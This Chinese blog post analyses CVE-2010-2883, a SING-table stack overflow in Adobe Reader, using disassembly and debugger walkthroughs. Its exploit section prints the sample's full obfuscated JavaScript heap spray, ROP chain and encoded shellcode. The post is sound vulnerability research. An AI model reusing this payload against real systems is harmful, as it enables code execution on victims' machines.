CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞
0x1:漏洞描述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。
0x2:分析环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | 简体中文版 |
虚拟机 | VMware | |
调试器 | OD | |
反汇编器 | IDA Pro | 6.8 |
漏洞软件 | Adobe Reader | 9.3.4 |
0x3:基于字符串定位的漏洞分析方法
用IDA反汇编CoolType.dll库,查看字符串可发现”SING”字体,因为该字符串是漏洞解析出错的地方,直接定位进去即可查看该库对string表格的解析方式,==主要是strcat造成的溢出漏洞==:
.text:0803DCF9
.text:0803DCF9 ; =============== S U B R O U T I N E =======================================
.text:0803DCF9
.text:0803DCF9 ; Attributes: bp-based frame fpd=108h
.text:0803DCF9
.text:0803DCF9 sub_803DCF9 proc near ; CODE XREF: sub_803A3B2+55p
.text:0803DCF9 ; sub_803DFF4+28p ...
.text:0803DCF9
.text:0803DCF9 var_160 = byte ptr -160h
.text:0803DCF9 var_140 = dword ptr -140h
.text:0803DCF9 var_138 = dword ptr -138h
.text:0803DCF9 var_134 = dword ptr -134h
.text:0803DCF9 var_130 = dword ptr -130h
.text:0803DCF9 var_12C = dword ptr -12Ch
.text:0803DCF9 var_128 = dword ptr -128h
.text:0803DCF9 var_124 = dword ptr -124h
.text:0803DCF9 var_120 = dword ptr -120h
.text:0803DCF9 var_119 = byte ptr -119h
.text:0803DCF9 var_114 = dword ptr -114h
.text:0803DCF9 var_10C = dword ptr -10Ch
.text:0803DCF9 var_108 = byte ptr -108h
.text:0803DCF9 var_4 = dword ptr -4
.text:0803DCF9 arg_0 = dword ptr 8
.text:0803DCF9 arg_4 = dword ptr 0Ch
.text:0803DCF9 arg_8 = dword ptr 10h
.text:0803DCF9 arg_C = dword ptr 14h
.text:0803DCF9
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h ;分配栈空间0x104
.text:0803DD00 lea ebp, [esp-4] ;后面的strcat会把执行结果保存在ebp中
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset sub_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ;指向sing表入口
.text:0803DD7D call sub_8021B06 ;处理SING表
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi ;判断是否为空
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ;这里不跳转
.text:0803DD8D mov ecx, [eax] ;字体资源版本号,这里为1.0版本即00 10 00 00
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ;这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h ;相对string表偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char * uniqueName域
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char * 目的地址是一段固定大小的栈空间
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat ;造成溢出!!
- 由上可知,Adobe Reader在调用strcat的时候,未对uniqueName字段的字符串长度进行检测,将其直接复制到固定大小的栈空间中,最终导致栈溢出。
0x4:样本Exploit技术分析
用PdfStreamDumperd找到TTF并保存至本地
TableEntry结构数据
typedef sturct_SING
{
char tag[4]; //"SING"
ULONG checkSum;//校验和
ULONG offset; //相对文件偏移,0000011C
ULONG length; //数据长度
} TableEntry;
保存下来之后我们可以用010Edit加载TTF模板来查看一下文件的结构,找到SING表的真实数据,
从TableEntry结构入口偏移0x11C即是SING表的真实数据,从00 00 01 00 开始的部分,接着再偏移0x10即可找到uniqueName域
00 00 01 00 表示版本号,偏移0x10开始为uniqueName字段,大小为28字节且以0x00结尾。但是在CoolType.dll中,使用strcat对这个位置进行操作时没有判断长度,所以我们可以构造超长的uniqueName进行栈溢出。
0x05:动态调试
用OD加载Adobe Reader 按F9直接运行,运行起来之后在0x0803DD74(前面我们通过IDA找到的加载SING表的位置)下断点,然后打开poc.pdf。程序会断在此处。
然后向下单步执行,在0X0803DD7A执行完之后,可以看到ECX被从栈中赋了一个值
我们查看一下这个值中保存的内容,拿这个值跟上面通过010Edit查看到的值对比发现是一样的,可以判断这里存放的是SING表的数据。
继续往下调试可以看到这里有个call,看一下参数明显是吧SING字符串当错参数传入进去了,F8步过继续往下调试。
这里看一下eax的值可以比较一下跟SING表入口的数据是一样的,这样我们可以猜测上面那个call的作用是用来取出SING表的数据
再继续往下调试我们就能找到上面再IDA里面找到的溢出点。这里我们可以看一下传递给strcat的参数,通过对比发现这个地址存放的是uniquename。继续F8执行。
执行strcat之后,会将58 E0 8D AD 起始的部分复制到ebp的指定地址(0x0012e4d8),直至遇到NULL字符终止。我们对复制进去的这段数据(ebp指向的地址)设置内存访问断点,F9执行。
第一次断在字符串拷贝,每次拷贝一个字节,循环拷贝。
第二个地方断在字符串开始的地方,每次比较一个字节。
继续往下跟踪可以找到下图的位置,0x4A8A08E2是样本中的数据,该地址必须为可读可写的,否则会导致出现异常。
继续执行下去将看到下图所示的地址。此处的call [eax]指令,[eax]=0x4A80CB38 (icucnv36.4A80CB38)
此地址对应的指令为:
返回之后:
我们再来看下TTF流中的样本数据,可以找到上面基础关键跳转地址的踪影:
跳转地址的稳定性其实主要依靠0x4A82A714和0x4A80CB38这两处地址,他们都位于icucnv36这块地址空间内,而在Adove Reader的各个版本上,这个dll上的这两处地址是始终不变的,因而保持了各个版本的兼容性和Exploit的稳定性。上面的0C0C0C0C正式样本特意构造的,然后再通过嵌入到PDF的JavaScript实现Heap Spary,进而跳入Shellcode执行代码。0x0C0C0C0C正是绕过DEP的关键部分,它是利用ROP技术实现的。
借助PdfStreamDumper来提取样本中的JavaScript代码。
var qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ = unescape;
var TuBHhjKjSQNWxYdXhwSUaUeAfYLLCe = qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ue9bd%u49c0%udd6d%ud9c5%u2474%u5ff4%uc929%u31b1%u6f31%u8313%u04c7%u6f03%u22e6%u91bc%u2010%u6a3f%u45e0%u8fc9%u45d1%uc4ad%u7641%u89a5%ufd6d%u39eb%u73e6%u4d24%u394f%u6012%u1250%ue366%u69d2%uc3bb%ua1eb%u02ce%udf2c%u5623%uabe5%u4796%ue682%ue32a%ue7d8%u102a%u06a8%u871a%u50a3%u29bc%ue960%u31f5%ud465%uc94c%ua25d%u1b4e%u4bac%u62fc%ube01%ua3fc%u21a5%udd8b%udcd6%u198c%u3aa5%uba18%uc80d%u66ba%u1dac%uec5c%ueaa2%uaa2a%ueda6%uc0ff%u66d2%u06fe%u3c53%u8325%ue638%u9244%u49e4%uc478%u3547%u8edc%u2265%ucd6d%ub5e3%u6be3%ub541%u73fb%udef5%uf8ca%u999a%u2ad2%u56df%u7799%uff49%ue244%u62c8%ud877%u9b0e%ue9f4%u58ee%u9be4%u25eb%u70a2%u3681%u7747%u3636%u1442%ua4d9%uf50e%u4d7c%u09b4' );
var hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw = qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw.length + 20 + 8 < 65536) hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw+=hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw;
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez = hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw.substring(0, (0x0c0c-0x24)/2);
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez += TuBHhjKjSQNWxYdXhwSUaUeAfYLLCe;
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez += hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw;
JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB = AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez.substring(0, 65536/2);
while(JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB.length < 0x80000) JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB += JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB;
GpzjaZkwEGsG = JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB.substring(0, 0x80000 - (0x1020-0x08) / 2);
var KkRYrQKZaeEulhPvabpTanhXVgnMmalrmTtKTmlkSrkkgM = new Array();
for (MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE=0;MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE<0x1f0;MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE++) KkRYrQKZaeEulhPvabpTanhXVgnMmalrmTtKTmlkSrkkgM[MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE]=GpzjaZkwEGsG+"s";
当返回到栈顶(0C0C0C0C)后,栈的情况如下所示。
栈中的数据便是上面JS代码中的Shellcode,作者也正是利用它来实现ROP绕过DEP保护的。首先进入0x4A8063A5,然后再依次执行下面的ROP指令
调用CreateFileA函数时,栈上对应的各个参数情况如图所示,它创建了一个名为iso88591的文件
返回之后,再通过跟上面相同的手法构造出ROP指令来调用CreateFileMapping,创建文件内存映射,调用CreateFileMapping时的栈中各个参数如下图
然后,执行MapViewOfFile函数
然后,再执行memcpy函数
其中目的地址就是前面MapViewOfFile返回的地址,而源地址就是真正的Shellcode代码,将他复制到一段可执行可读写的内存段,以此绕过DEP保护。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll模块,因此也可用于绕过ASLR保护。
- 标题: CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞
- 作者: xiaoeryu
- 创建于 : 2021-05-19 22:42:44
- 更新于 : 2023-11-17 19:38:22
- 链接: https://github.com/xiaoeryu/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF字体SING表栈溢出漏洞/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。